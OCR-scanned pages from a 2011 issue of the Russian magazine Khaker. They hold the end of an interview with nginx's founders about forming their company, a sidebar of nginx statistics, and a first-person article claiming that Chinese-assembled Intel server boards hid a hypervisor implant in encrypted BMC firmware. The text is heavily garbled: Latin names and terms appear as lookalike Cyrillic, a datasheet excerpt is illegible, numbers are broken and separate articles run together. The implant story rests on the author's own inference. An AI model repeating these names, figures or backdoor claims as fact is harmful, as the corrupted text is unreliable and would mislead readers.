очень тяжело что-либо менять. Но, тем не 
менее, к весне этого года я все-таки оконча- 
тельно решил основать компанию, которая бы 
помогла дальнейшему развитию проекта. 
Отчасти на этот шаг меня вдохновил Сергей 
Белоусов, создатель РагаІІеІз и фонда Рипа 
Сарііаі. Мы с ним несколько раз неформально 
общались, и в итоге я постепенно стал значи- 
тельно ближе к идее создать компанию. 



СЕРГЕЙ УМЕЕТ 
УБЕЖДАТЬ, ДА? 



не только, он очень энергичный человек. Сергей 
также довольно властный руководитель — я 
думаю, он влияет на очень многие решения в 
своих компаниях, это владелец, который любит 
контролировать происходящее, непосредствен- 
но участвовать в бизнесе. 

Вообще, процесс переговоров с инвестора- 
ми, подписание условий сделки, куча всего — 
это вещь тяжелая, потому что, во-первых, очень 
много скучных деталей, огромное количество 
бумаги на английском языке, юридической, 
ее на русском-то языке читать тяжело, а по- 
английски — тем более. Обговаривание всего, 
опять же, согласование всех вещей: мы хотим 
то-то, они хотят то-то. Психологически это тяже- 
ло. Зато потом, если инвесторы понимают твой 
бизнес, все становится значительно легче. 



Сергей вообще очень интересный человек, 
с ним всегда интересно обсуждать дела и 
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□ ИНТЕРЕСНО: ВЫ РАБОТАЛИ В 

РАМБЛЕРЕ И ТРУДИЛИСЬ НАД ЫОІЫХ. 
У РАМБЛЕРА НЕ БЫЛО НИКАКИХ ПРАВ? 

ЭТО ТАКОЙ ТОНКИЙ ВОПРОС. КАК УДАЛОСЬ 
СОХРАНИТЬ ПРАВА НА ПРОЕКТ? 



Да, это довольно тонкий вопрос. Он, 
конечно, интересует не только вас, и мы 
довольно основательно его проработали. В 
России законодательство устроено так, что 
компании принадлежит то, что сделано в рамках 
трудовых обязанностей либо по отдельному 
договору. То есть должен быть договор с 
человеком, где было бы сказано: нужно разрабо- 
тать программный продукт. В Рамблере я 
работал системным администратором, разработ- 
кой занимался в свободное время, продукт с 
самого начала выпускался под лицензией В50, 
как открытое программное обеспечение. В 
Рамблере пдіпх начал применяться уже тогда, 
когда основной функционал был готов. Более 
того, даже первое применение пдіпх было не в 
Рамблере, а на сайтах Раіе.ее и гѵикі.ги. 

□ КТО ЕЩЕ У ВАС РАБОТАЕТ В 
КОМПАНИИ ЫОІЫХ? 



Еще у нас работает Сергей Будневич — си- 
стемный администратор, он занимается 
поддержкой инфраструктуры компании. Инфра- 
структура у нас не очень большая, но она есть. У 
нас есть списки рассылки, у нас есть почтовый 
сервер, автоматическая сборка, тестирование 
пекеджей, трэкинг ошибок и др. Сергей нам с этим 
очень помогает. Мы сейчас собираемся готовить 
пакеты еще для нескольких Ыпих-дистрибутивов: 
СепЮЗ, ІІЬипІи. Сергей занят автоматизацией 
разнообразных процессов, связанных с разработ- 
кой, тестированием и сопровождением. Есть еще 
два человека: один человек занимается маркетин- 
гом — Андрей Алексеев, а Максим Коновалов — 
вообще начальник всего, он делает так, что 
компания работает. 

□ А КАК ОФИЦИАЛЬНО НАЗЫВАЕТСЯ 
ВАША ДОЛЖНОСТЬ В КОМПАНИИ? 



Формально я — технический директор. 
Фокусируюсь на архитектуре будущих 
продуктов и передаче разработки «в команду». 
Довольно тяжело делегировать работу, однако 
компания создавалась как раз с целью улучшить 
разработку и продукт, поэтому сейчас я пытаюсь 
себя этому научить. Коллеги занимаются 
организационными вопросами, общением с 
клиентами, маркетингом, отношениями с 
партнерами, документацией, наймом персонала 
и др. Разных сложностей у нас много, научиться 
общаться на разных уровнях — это бывает не 
так легко. На самом деле мы все участвуем во 
всех делах компании, поскольку компания не 
такая большая, а дел много :). 

□ ДЕЛЕГИРОВАТЬ БЫЛО СЛОЖНО, 
ПОТОМУ ЧТО КАЗАЛОСЬ, ЧТО ВСЕ 
ПЛОХО ДЕЛАЮТ, ПРОЩЕ САМОМУ? 



* Ну да, подход такой, что я лучше это сам 
М сд ел а ю, п ото му что это будет л у ч ш е, и л и 

потому что долго объяснять, что нужно делать, или 
психологически тяжело сказать: «Сделай вот это». 
Сейчас, как технический директор, я в основном 
отвечаю за архитектуру и качество разработки. 

ИГОРЬ, БОЛЬШОЕ ВАМ СПАСИБО ЗА 
ИНТЕРВЬЮ! ВИДНО, ЧТО ВЫ ВСЕ-ТАКИ 
НАУЧИЛИСЬ ДЕЛЕГИРОВАТЬ: СО ВСЕМИ 
БИЗНЕС-ВОПРОСАМИ ВЫ НАС ОТПРАВИЛИ К 
МАКСИМУ КОНОВАЛОВУ. 

д Кстати, это первое интервью, которое я даю. 
М Согласился только из-за того, что создали 
компанию. Буквально весной меня попросили 
люди из другого ИТ-издания, я сказал им: 
«Извините, я не люблю, не хочу и не умею». 

ЕЩЕ РАЗ СПАСИБО! МАКСИМ, В 
ПЕРЕГОВОРАХ С ИНВЕСТОРАМИ ВЫ 
ПРЕДСТАВЛЯЛИ КАКОЙ-ТО ФОРМАЛИЗО- 
ВАННЫЙ БИЗНЕС-ПЛАН? НА ЧЕМ ВЫ 
ВООБЩЕ ПЛАНИРУЕТЕ ЗАРАБАТЫВАТЬ 
ДЕНЬГИ? 

д В основном фонды инвестировали в пдіпх 
м как в очень перспективный продукт. 
Детальный бизнес-план, конечно, был важен, но 
американские инвесторы подходят к вопросу 
инвестиций, базируясь не только и не столько на 
бизнес-плане, где будет написано, что мы 
заработаем за год столько-то с точностью до 
десятков центов. Важно было то, что пдіпх 
сейчас очень популярен, это уже готовый, 
существующий продукт. 

По поводу того, что у нас за идеи для за- 
рабатывания денег: мы хотим, прежде всего, до- 
биться правильного баланса между бесплатным 
и платным функционалом. Мы хотим сделать то, 
что не совсем удалось в прошлом целому ряду 
компаний. Есть несколько примеров бизнеса 
на базе орепзоигсе-разработок, где компании 
не смогли удержать нужный баланс, пришлось 
закрывать какие-то фичи в самом продукте, про- 
сить за них какие-то нелепые деньги, это всех 
расстроило, и продукты перестали развиваться. 

ТО ЕСТЬ ВЫ ХОТИТЕ СДЕЛАТЬ ОТДЕЛЬ- 
НЫЙ КОММЕРЧЕСКИЙ ПРОДУКТ И 
НАЙТИ БАЛАНС МЕЖДУ ОТКРЫТЫМ 
ПРОДУКТОМ И КОММЕРЧЕСКИМ? 

* Мы не хотим делать отдельный коммерче- 
м ский продукт, мы хотим делать коммерче- 
ские надстройки над основным орепзоигсе- 
продуктом. Он будет развиваться, будут появляться 
фичи, которые требуются сообществу. Деньги, 
которые мы получили, помогут нам поставить все 
производство продукта на новый уровень. Сейчас 
Игорь уже не в одиночку работает над кодом, 
строится командная разработка. Мы принимаем на 
работу людей в России, инженерная команда в 
Москве останется. Соответственно, фокус на 
орепзоигсе-продукте — очень сильный и будет 
оставаться таким. 




□ 



□ 



В то же время, мы знаем, что есть клиенты, 
большие компании, средние компании, даже 
маленькие компании, которые долгое время 
используют пдіпх. Они построили на этом бизнес 
и благодарны нам. Когда мы встречаемся, то 
слышим что-то вроде: «Отличный, замечательный 
продукт — спасибо вам большое! Но нам не хвата- 
ет того-то и того-то. Можете ли вы это сделать — 
мы вам готовы платить?» Из таких разговоров у 
нас постепенно складывается цепочка того, что мы 
могли бы продавать, не огорчая при этом сторон- 
ников открытого продукта и не подрывая доверия 
к проекту в целом. Т. е. мы собираем подобные 
запросы и сравниваем их с пожеланиями, которые 
поступают от сообщества пользователей. Мы смо- 
трим, где есть пересечения, и если понимаем, что 
какой-то функционал на самом деле необходим 
всем, а не какой-то отдельной компании, мы это 
реализуем в бесплатной версии продукта. 

Есть даже компании, которые говорят: «Да- 
вайте мы вам заплатим за все эти фичи, чтобы они 
быстрее появились в продукте. Мы хотим, чтобы 
все попало в ореп зоигсе, мы не хотим, чтобы фича 
была эксклюзивная и/или платная». Это называет- 
ся зропзогесі беѵеІортепЕ 

Пока у нас сформировались идеи, что ком- 
мерческие надстройки будут больше относиться к 
крупным примерам применения пдіпх: например, 
с помощью коммерческих надстроек будет легче 
управлять тысячами инстансов, будет расширен- 
ный мониторинг производительности, дополни- 
тельный функционал, рассчитанный на хостинго- 
вые, облачные и СРЫ-инфраструктуры. 



□ ТО ЕСТЬ У ВАС ФОКУС ИМЕННО НА 
ПРОДУКТЕ. НЕ БУДЕТЕ ОТДЕЛЬНО 
ПРОДАВАТЬ УСЛУГИ, НАПРИМЕР, ПО 
ВНЕДРЕНИЮ, КОНСАЛТИНГУ? 



Дело в том, что компания маленькая, и она 
будет оставаться маленькой — расти до 
компании в несколько сотен человек мы не хотим. 
Мы активно работаем с партнерами, с системными 
интеграторами, с вендорами софта и железа, 
активно ищем каналы для работы через 
партнеров. Консультации будут осуществляться 
частично через партнеров, частично через нас. К 
сожалению, услуги консалтинга и технической 
поддержки всем пользователям мы сами, 
непосредственно, предоставлять не сможем. 



□ ВЕРНО ЛИ, ЧТО ИГОРЬ СЫСОЕВ — 
ГЛАВНЫЙ АКЦИОНЕР КОМПАНИИ, 
А ОСТАЛЬНАЯ, МЕНЬШАЯ, ДОЛЯ 
ПРИНАДЛЕЖИТ ИНВЕСТОРАМ? 



Да, Игорь — основной акционер, всего же 
учредителей компании трое, и есть, 
естественно, группа инвесторов — они совместно 
владеют какой-то частью. Кстати, сам процесс 
получения денег от инвесторов технически 
выглядит очень просто — выпускаются ценные 
бумаги по соответствующему законодательству, 
инвесторы их покупают за какую-то сумму. Сумма 
переходит к вам, вы ее используете на развитие 
компании. Именно так все у нас и устроено. ПЕ 



028 



ХАКЕР 12/155/2011 



пдіпх в цифрах 

Если по какой-то нелепой причинеты ничего не знаешь про пдіпх, то самое время 
познакомиться с ним. Мы собрали для тебя некоторые факты о проекте, который, 
несомненно, ускорил не только отдельные веб-сайты, но и интернет в целом. 







Вместо этого применяется 
масштабируемая 
асинхронная архитектура. 



одновременных 
подключений 
обрабатывается 
одним сервером. 



запросов в секунду расходуется памяти на 

способен обслуживать поддержание неактивных 

пдіпх. НТТР кеер-аііѵе 

соединений. 



Ыдіпх не использует 
потоки для обработки 
запросов. 



Это позволяет 
обрабатывать тысячи 
запросов с минимальными 
затратами ресурсов. 



Тройка лидеров среди веб-серверов 
(ЫеЕсгаІі:, октябрь 2011): 
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Если текущие 
тренды сохранятся, 
то пдіпх скоро 
станет вторым 
по частоте 
использования 
веб-сервером. 
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Большую часть 
кода разработал 
один человек: 
Игорь Сысоев. 




Код пдіпх 
содержит 
87 912 
строк. 



Сейчас над 
кодом проекта 
работают два 
человека. 



70+ модулей 
от сторонних 
разработчиков, 
пдіпх Иігіпд! 



8 уязвимостей в 
пдіпх значатся в 
публичных 
БесигіЕу абѵізогіез. 

Не менее 3 
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ин- 
формационной безопасности, моя 
область интересов — это высоко- 



производительные вычислительные 
комплексы. В тему ИБ я пришел 
совершенно случайно, и именно об 
этом дальше пойдет речь. Думаю, эта 



невыдуманная история гораздо луч- 
ше осветит проблемы, связанные с 
аппаратурой виртуализации, нежели 
сухое изложение фактов. 
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Китайские закладки 



Китайские 

закладки 

НЕПРИДУМАННАЯ ИСТОРИЯ 

О ВИРТУАЛИЗАЦИИ, 

БЕЗОПАСНОСТИ И ШПИОНАХ 



ще до официального анонса новых про- 
цессоров Іпіеі с поддержкой аппаратной 
виртуализации (в начале 2007 года) я 
задумал использовать эти чипы для создания еди- 
ной вычислительной системы на базе нескольких 
серверов, которая стала бы для ОС и прикладных 
программ единой вычислительной установкой 
с 5МР-архитектурой. Для этого требовалось на- 
писать компактный гипервизор с нестандартным 
функционалом, главной особенностью которого 
было бы не разделение ресурсов единой вычисли- 
тельной установки между разными ОС, а наоборот, 



объединение ресурсов нескольких вычисли- 
тельных машин в единый комплекс, которым бы 
управляла одна ОС. При этом ОС не должна была 
даже догадываться, что имеет дело не с единой 
системой, а с несколькими серверами. Аппаратура 
виртуализации предоставляла такую возможность, 
хотя изначально не предназначалась для решения 
подобных задач. Собственно, система, в которой 
аппаратура виртуализации применялась бы для 
высокопроизводительных вычислений, не создана 
до сих пор, а уж в то время я вообще был перво- 
проходцем в этой области. 
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Схема 1. Архитектура виртуализации АМй 



Г ипервизор для этой задачи, конечно, 
писался с нуля. Принципиально важно было 
запускать ОС уже на виртуализированной 
платформе, чтобы с первых команд загрузчика 
ОС все работало в виртуальной среде. Для этого 
пришлось виртуализировать реальную модель 
и все режимы работы процессора и запускать 
виртуализацию сразу после инициализации 
платформы до загрузк и ОС. 

Поскольку система виртуализации для этой 
цели получилась нестандартной и выглядела как 
полностью автономный компактный программ- 
ный модуль (объем кода не более 40-60 Кб), язык 
как-то не поворачивался называть ее гиперви- 
зором, и я стал использовать термин «гипер- 
драйвер», поскольку он более точно передавал 
суть функционального предназначения системы. 

Серийного оборудования с аппаратурой 
виртуализации в то время еще не было, однако 
благодаря сотрудничеству с фирмой «Крафт- 
вей» я имел доступ к предсерийным образцам 
процессоров и материнских плате поддержкой 
виртуализации, которые еще не выпускались 
официально (так называемым сэмплам, кото- 
рые фирма Іпіеі любезно предоставляет своим 
партнерам по бизнесу). Поэтому работа закипе- 
ла на этом «сэмпловом» оборудовании. 

Макет был собран, гипердрайвер написан, 
все заработало, как и было задумано. Нужно 
сказать, что на тот момент аппаратура виртуа- 
лизации было очень «сырой», из-за чего она не 
один раз отказывалась работать так, как напи- 
сано в документации. Приходилось разбираться 
буквально с каждой ассемблерной командой, а 
сами команды для аппаратуры виртуализации 
писать в машинных кодах, поскольку тогда не 
существовало компиляторов с поддержкой 
команд виртуализации. 

Я гордился полученными результатами, чув- 
ствовал себя чуть ли не властелином виртуальных 
миров... но моя эйфория продлилась недолго, 
всего месяц. К тому времени я уже собрал макет 
на основе серверов с аппаратурой виртуализации, 
первые серийные образцы которых тогда как раз 
появились, но макет не работал. 

Я начал разбираться и понял, что моя 
система виснет при выполнении команд 
аппаратной виртуализации. Создавалось такое 
впечатление, что они или совсем не работают, 
или работают как-то нестандартно. Зависание 
происходило только во время работы аппара- 
туры виртуализации в реальном режиме, если 
же моя система запускалась из защищенного 
режима, после загрузки ОС, то все было нор- 
мально. 

Профессионалы знают, что в первых 
ревизиях аппаратура виртуализации Іпіеі не 
поддерживала работу процессора в реальном 
режиме. Для этого требовался дополнительный 
слой достаточно большого объема для эмуля- 
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ции виртуального х86. Поскольку гипердрайвер 
запускался до загрузки операционной системы, 
чтобы она могла полностью поверить в новую 
виртуальную конфигурацию, то небольшой кусок 
загрузочного кода ОС выполнялся в реальном 
режиме работы процессора. Система умирала 
как раз на обработчиках эмуляции реального 
режима в гипердрайвере. 

Сначала я подумал, что где-то ошибся, что- 
то не понял, о чем-то забыл. Проверил все до 
последнего бита в своем коде, никаких ошибок 
не нашел и начал грешить уже не на себя, а на 
коллег из-за бугра. 

Первым делом заменил процессоры, но это 
не помогло. На материнских платах в то время 
аппаратура виртуализации была только в биосе, 
где она инициализировалась во время включения 
сервера, поэтому я начал сравнивать биосы на ма- 
теринских платах (однотипных платах с сэмплами) 
— все совпадало до байта и номера самого биоса. 

Я впал в ступор и, уже не зная, что делать, 
применил последнее средство — «метод тыка». 
Чего я только не делал, уже не думая, а просто 
комбинируя, и в конце концов тупо скачал 
биосы с официального сайта Іпіеі и переписал 
их заново в материнские платы, после чего все 
заработало... 

Моему удивлению не было предела: номер 
биоса был тем же самым, образы биоса совпада- 
ли побайтно, но по какой-то причине серийные 
материнские платы заработали только тогда, 
когда я залил в них такой же биос, взятый сайта 
Іпіеі. Значит, причина все-таки в материнских 
платах? Но единственное их отличие было в мар- 
кировке: на сэмплах было написано АззетЫесІ 
Сапаба, а на серийных платах — АззетЫесІ СЫпа. 

Стало ясно, что платы из Китая содержат до- 



полнительные программные модули, прошитые 
в биосе, а стандартные программы анализа эти 
модули не увидели. Они, видимо, тоже работали 
с аппаратурой виртуализации и, соответственно, 
имели возможность скрыть истинное содержимое 
биоса. Стала понятна и причина зависаний моего 
гипердрайвера на этих китайских платах: две 
программные системы одновременно работали с 
одной и той же аппаратурой виртуализации, кото- 
рая не позволяла разделять свои ресурсы. 

Мне захотелось разобраться с этим зловред- 
ным биосом, причем без всякой задней мысли о 
«закладках», «бэкдорах», «недокументирован- 
ных возможностях», был просто академический 
интерес, и не более того. 

Нужно сказать, что параллельно с внедрени- 
ем аппаратуры виртуализации Іпіеі радикально 
обновила чипсет. Этот чипсет, получивший 
номер 5000х, выпускается в нескольких модифи- 
кациях до сих пор. Южный мост этого чипсета, 

63 1 хЕ5В/632хЕ5В 1/0 СопігоІІег НиЬ, к которому 
подключены флеш-микросхемы с биосом, прак- 
тически в неизменном виде выпускается с 2007 
года и используется в качестве базового чипа 
почти для всех серверов в двухсокетном испол- 
нении. Я скачал даташит на южный мост, прочел 
описание и просто обалдел. Оказывается, к 
этому новому южному мосту подключаются три 
микросхемы флеш-памяти: первая представляет 
собой стандартный биос, вторая выделена под 
программы процессора сетевого контроллера, а 
третья предназначена для интегрированного в 
южный мост блока ВМС. 

Блок менеджмента системы (ВМС) — это 
средство удаленного управления вычислитель- 
ной установкой и ее мониторинга. Он незаменим 
для больших серверных комнат, где из-за шума, 
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Схема 2. Архитектура виртуализации Іпіеі 



температуры и сквозняков просто невозможно 
долго находиться. 

То, что блоки ВМС имеют собственный про- 
цессор и, соответственно, флеш-память для его 
программ, конечно, не новость, но до сих пор такие 
процессор и память выносились на отдельную 
плату, которая подключалась к материнской пла- 
те: хочешь — ставь, не хочешь — не ставь. Теперь 
Іпіеі внедрила эти компоненты в южный мост, 
более того, подключила этот блок к системной 
шине и не стала использовать выделенный сете- 
вой канал (как предусмотрено стандартом ІРМІ, 
описывающим функции блока ВМС) для работы 
сервисной сети, а туннелировала весь сервисный 
сетевой трафик в основные сетевые адаптеры. 

Далее я узнал из документации, что про- 
граммы на флеш-микросхеме блока ВМС за- 
шифрованы, а для их распаковки используется 
специальный аппаратный криптографический 
модуль, также интегрированный в южный мост. 
Такие блоки ВМС мне раньше не попадались. 
Чтобы не быть голословным, привожу выдержку 
из документации на этот южный мост: 

• АПС4ргосез50гѵѵогкіпдаі62.5 МНгзреесІ. 

• Іпіегі'асе Іо ЬоіЬ І_АІ\І рогіз оі Іпіеі® 

63 1 хЕ5В/632хЕ5В 1/0 СопІгоІІегНиЬ аііоѵѵіпд 
сіігесі соппесііоп іо іЬе пеі апсі ассезз іо аІІ І_АЫ 
гедізіегз. 

• СгуріодгарЫс тобиіе, зиррогііпд АЕ5 апсі 
РС4 епсгурііоп аІдогііЬтзапсІ 5НА1 апсі Мй5 
аиіЬепіісаііоп аІдогііЬтз. 

• ЗесигесІ тесЬапізт іогІоабаЫе Редиіаіеб РѴѴ. 

Применение иностранных криптографических 
средств с длиной ключа более 40 бит запрещено 
на территории России законодательно, а тут — по- 
жалуйста! — в каждом сервере Іпіеі криптомодуль 
с неизвестными ключами длиной 256 бит. Более 
того, эти ключи использовались для шифрования 
программ, зашитых в микросхемы материнской 
платы на этапе производства. 

Выходит, что блоки ВМС в России на серверах 
Іпіеі, которые имеют в своем составе чипсет 5000х, 
должны быть отключены. Однако эти блоки, на- 
против, всегда находятся в рабочем состоянии, 
даже если сама вычислительная установка от- 
ключена (для функционирования ВМС достаточно' 
дежурного напряжения, то есть вставленного в 
розетку кабеля питания сервера). 

Все это казалось мне на тот момент вто- 
ростепенным, поскольку для начала нужно 
было выяснить, в какой из флеш-микросхем 
находился программный модуль, работающий с 
аппаратурой виртуализации и мешающий моему 
гипердрайверу, и я начал экспериментировать с 
прошивками. 

После ознакомления с документацией я 
насторожился, а когда обнаружил, что работо- 
способность гипердрайвера восстанавливается 
как раз после перепрошивки флеш-микросхемы 
блока ВМС, даже не удивился. 

Разбираться дальше без специальных стен- 
дов было невозможно, так как криптография 
полностью перекрывала возможности реверса 
кода для ВМС. Документации на внутреннюю 
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архитектуру этого интегрированного ВМС я не 
нашел, в даташите на южный мост Іпіеі описала 
только интерфейсные регистры для управления 
этим блоком по стандартным методам доступа, 
в результате чего получился классический 
«черный ящик». 

Совокупность фактов настораживала и 
наводила на параноидальные мысли в стиле 
шпионских детективов. Эти факты однозначно 
говорили о следующем: 

• В новых серийных серверных платах Іпіеі на 
базе чипсета 5000 имеются программы, про- 
шитые в флеш-памяти блока ВМС и испол- 
няемые на центральном процессоре, причем 
эти программы работаютс использованием 
аппаратуры виртуализации центрального 
процессора. 

• Образы флеш-памяти с официального сайта 
Іпіеі не содержаттаких программных модулей, 
следовательно, мешающие мне программные 
модули были нелегально прошиты в материн- 
ские платы на этапе производства. 

• Флеш-память блока ВМС содержитзашиф- 
рованные программные модули, которые 
невозможно собрать и залить в флеш-память 
беззнания ключей шифрования, следова- 
тельно, тот, кто вставил эти нелегальные про- 
граммные модули, знал ключи шифрования, 
то есть имел доступ фактически к секретной 
информации. 

Я сообщил руководству «Крафтвей» о про- 
блеме с прошивкой флеш-памяти блока ВМС и 
сомнительной сточки зрения законодательства 
ситуации с новыми чипсетами Іпіеі, на что получил 
вполне ожидаемый ответ в стиле «не мути, меша- 
ешь бизнесу». Пришлось угомониться, поскольку 
против работодателей особо не попрешь. 

Руки были связаны, но «мои мысли, мои 
скакуны» не давали мне покоя, было непонятно, 
зачем эти сложности и как все это сделано. 

Если у тебя есть возможность разместить 
собственное ПО в памяти блока ВМС, зачем тебе 
цся эта морока с центральным процессором? 
Разумной причиной могло быть только то, что 
решаемая задача требовала контролировать 
текущий вычислительный контекст на цен- 
тральном процессоре. Очевидно, что уследить 
за обрабатываемой информацией на основной 
вычислительной системе, используя только 
периферийный низкоскоростной процессор с 
частотой 60 МГц, невозможно. 

Таким образом, похоже, задача этой неле- 
гальной системы состояла в съеме информации, 
обрабатываемой на основной вычислительной 
установке, с помощью средств аппаратуры виртуа- 
лизации. Дистанционно управлять всей неле- 
гальной системой, конечно, удобнее с процессора 
блока ВМС, поскольку он имеет собственный 
независимый доступ к сетевым адаптерам на ма- 
теринской плате и собственные МАС- и ІР-адреса. 

Вопрос «как это сделано?» имел более акаде- 
мический характер, поскольку кто-то умудрился 
создать гипервизор, умеющий разделять ресурсы 
аппаратуры виртуализации с другим гипервизором 
и делающий это корректно для всех режимов, кро- 
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СТАРТ ТЕСТА 



ИМЯ ТЕСТА 


•СРЕДНЕ ВЗВЕНЕННОЕ ВРЕМЯ- 


РЕЗУЛЬТАТ АНАЛИЗА— 


Когерентность таймеров 


299 


Гипервизор не обнарухен 


Команды М0Ѵ (СВ0..СгЗ) 


235 


Гипервизор не обнарухен 


Команды М0Ѵ (ОВ0. . 0г7) 


237 


Гипервизор ие обнарухен 


Команды В0М5В, ИВМ5В 


235 


Гипервизор не обнарухен 


Очистка буферов ТЬВ 


234 


Гипервизор ие обнарухен 


Команды виртуализации 


233 


Гипервизор не обнарухен 


Команды Ввода/Вывода 


233 


Гипервизор ие обнарухен 


Монотонность доступа к ОП 


259 


Гипервизор не обнарухен 


Монотонность доступа к БИОС 


236 


Гипервизор ие обнарухен 


Доступ в АРІС 


235 


Гипервизор не обнарухен 


Доступ в N10 ВАМ 


234 


Гипервизор ие обнарухен 


Выполнение прерываний 


236 


Гипервизор ие обнарухен 



■Конец ТЕСТА 



Рис.З Время выполнения системных команд на сэмпловых платах 



ме реального режима работы ЦП. Сейчас такими 
системами уже никого не удивишь, но тогда, пять 
лет назад, они воспринимались как чудо, кроме 
того, скорость эмуляции поражала — программ- 
но эмулировать хост без значительных потерь в 
быстродействии было невозможно. 

Для пояснения придется немного углубиться 
в теорию. Архитектура систем виртуализации 
Іпіеі и АМй не предполагает наличия на плат- 
форме сразу нескольких гипервизоров, однако 
запущенный первым гипервизор_может эму- 
лировать для гипервизоров, которые запуска- 
ются после, работу на реальном оборудовании 
виртуализации. В этом случае все гипервизоры, 
запущенные вслед за первым, работают в эму- 
лируемой среде хоста. Этот принцип я называю 
«правом первой ночи». 

Его можно легко реализовать с помощью 
специальных обработчиков в корневом хосте, при 
этом режим задачи существенно не изменится, а 
хосты вторичных гипервизоров будут выполняться 
в режиме задачи для корневого хоста. 

Режим эмуляции организовать не сложно, 
однако с быстродействием возникают проблемы. 
Аппаратура виртуализации работает в основном 
с блоком ѴМСВ (ѴМС5), программы хоста по- 
стоянно обращаются к этому блоку, а на каждое 
такое обращение требуется 0,4-0, 7 мкс. Скрыть 
такую программную эмуляцию хоста для системы 
виртуализации Іпіеі практически невозможно, 
слишком много команд виртуализации придется 
эмулировать программно через выходы в кор- 
невой хост, вместо того чтобы выполнять их на 
реальном оборудовании. 

Расскажу немного о различиях между архи- 
тектурами виртуализации. Системы аппаратной 
виртуализации от Іпіеі и АМй совершенно не 
похожи друг на друга. Главное архитектурное 
отличие этих систем состоит в режиме работы 
хоста. В системе АМй хост работает с отключен- 
ной аппаратурой виртуализации, то есть его про- 
граммы выполняются на реальном процессоре. 

Виртуализация вторичного хоста в системах 
от АМй требует виртуализации только команды 
ѴМРІІЫ (можно считать, что других команд нет). 



Работа с управляющим ѴМСВ-блоком в архитек- 
туре АМй происходит через обычные команды 
обращения к оперативной памяти, что позволяет 
контролировать с помощью вторичного хоста 
только выполнение команд ѴМ РІЭ N и подправ- 
лять при необходимости ѴМСВ-блок перед ре- 
альным входом в режим задачи. Удлинить цикл 
обработки события в два раза еще можно, и на 
платформе АМй такая эмуляция жизнеспособна. 

В системе виртуализации Іпіеі все гораздо 
сложнее. Для доступа к ѴМСВ-блоку использу- 
ются специальные команды ѴМРЕАй и ѴМЮАО, 
которые нужно обязательно виртуализировать. 
Обычно обработчики хоста десятки, если не 
сотни раз обращаются к полям ѴМСВ-блока, и 
каждую такую операцию нужно эмулировать. 

При этом заметно, что скорость падает на по- 
рядок, это очень неэффективно. 

Стало ясно, что для эмуляции неизвестные 
коллеги использовали другой, более эффективный 
механизм. И подсказки насчет того, какой именно, 
я нашел в документации. Хост у Іпіеі сам является 
виртуальной средой, то есть ничем, по сути, в этом 
плане не отличается от среды выполнения задачи 
и просто управляется другим ѴМСВ (см. схему 2). 

Кроме того, в документации описана концеп- 
ция «дуального монитора» для виртуализации 
5ММ-режима (режима системного менеджмен- 
та), когда фактически активны сразу два хоста 
и, следовательно, два ѴМСВ-блока, причем 
хост, виртуализирующий режим системного 
менеджмента, контролирует основной хост как 
задачу, но только в точках вызова прерываний 
системного менеджмента. 

Эта совокупность косвенных фактов говорит 
о том, аппаратура виртуализации Іпіеі, вероятно, 
имеет механизм контроля множественных вто- 
ричных хостов, управляемых корневым хостом, 
хотя этот механизм нигде не описан. Кроме того, 
моя система именно так и работала, и другого 
объяснения практически незаметным действиям 
корневого гипервизора у меня до сих пор нет. 

Стало еще интереснее: похоже, кто-то имел 
доступ к этим недокументированным возможно- 
стям и использовал их на практике. 
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Примерно за полгода до окончания со- 
трудничества с «Крафтвеем» я занял позицию 
пассивного наблюдателя, продолжая тем не ме- 
нее регулярно запускать свою систему на новых 
партиях серийных материнских плат из Китая и 
новых сэмплах. На сэмплах все продолжало ста- 
бильно работать. Когда я переходил к китайским 
платам, в системе возникали все новые и новые 
чудеса. Было похоже, что коллеги из-за рубежа 
активно улучшали работу своего корневого ги- 
первизора. Последние подозрительные партии 
плат вели себя практически нормально, то есть 
первый запуск моего гипердрайвера приводил 
к перезагрузке системы во время старта ОС, но 
все последующие запуски гипердрайвера и ОС 
проходили без сучка и задоринки. В конце кон- 
цов случилось то, чего я давно ожидал: посту- 
пила новая партия серийных материнских плат, 
при использовании которых мой гипердрайвер 
вообще не зависал. Я уже начал сомневаться 
в своих параноидальных подозрениях, однако 
новый случай укрепил их. 

Надо заметить, что фирма Іпіеі активно 
совершенствует аппаратуру виртуализации. 

Если первая ревизия аппаратуры, с которой я 
начал работать, имела номер 7, то описываемая 
ситуация произошла на 11-й ревизии, то есть 
приблизительно за год ревизия обновлялась 
дважды (ревизии почему-то имеют только нечет- 
ные номера). Так вот, на ревизии с номером 1 1 
условия выходов в хост по состоянию задачи для 
аппаратуры виртуализации существенно рас- 
ширились, в соответсвтии с чем в ѴМСВ-блоке 
даже было введено новое управляющее поле. 

Когда появились сэмпловые процессоры с 
этой ревизией аппаратуры виртуализации, мне 
захотелось испытать новые возможности на прак- 
тике. Я усовершенствовал гипердрайвер за счет 
новых возможностей 1 1 -й ревизии аппаратуры 
виртуализации, установил сэмпловый процессор 
на серийную плату из Китая, в которой все уже 
работало без замечаний, и начал отладку. 

Новые возможности аппаратуры никак себя 
не проявили, и я опять впал в прострацию, 
греша на сэмпловый процессор и документа- 



цию. Через некоторое время материнская плата 
потребовалась для другой задачи, и я, возобно- 
вив эксперименты, для подстраховки переста- 
вил процессоры с 1 1 -й ревизией аппаратуры 
виртуализации на канадский сэмпл. Каково же 
было мое удивление, когда на этом сэмпле все 
заработало! 

Сначала я подумал, что где-то накосячилх- 
серийной платой, поскольку новые выходы в хост 
не имели к материнской плате ну совершенно 
никакого отношения, это чисто процессорная 
функция. Для проверки я переставил сэмпловый 
процессор на серийную плату, и все опять пере- 
стало работать. Значит, я ничего не накосячил, а 
проблема крылась в том, что материнская плата 
каким-то образом влияла на новые возможности 
аппаратуры виртуализации процессора. 

С учетом моих подозрений напрашивался 
единственный вывод — нелегальный корневой 
хост коллег из-за рубежа, прошитый в флеш- 
памяти материнской платы, не знал о новой 
ревизии аппаратуры виртуализации. Когда эта 
неизвестная ему аппаратура начинала работать, 
он переставал корректно пропускать выходы из 
состояния задачи в мой вторичный хост через 
собственный обработчик событий. 

Уже зная, как бороться с этой напастью, я 
залил на серийную плату прошивку для блока 
ВМС с сайта Іпіеі, включил систему в уверенно- 
сти, что все сразу заработает, и снова выпадал 
в осадок, так как зависания остались. Это было 
что-то новенькое. 

Согласно моей теории, нелегальный гипер- 
визор обнаглел и уверился в своей неуязви- 
мости. Видимо, его авторы посчитали, что этап 
обкатки их детище прошло и маскировать не- 
отлаженное ПО под сбой биоса больше не нужно. 

После того как была включена функция 
защиты кода инициализации от перезаписи 
во флеш-памяти, закладка стала практически 
неудалимой. 

Уверенности в своей правоте у меня не 
было, нужны были контрольные эксперименты. 
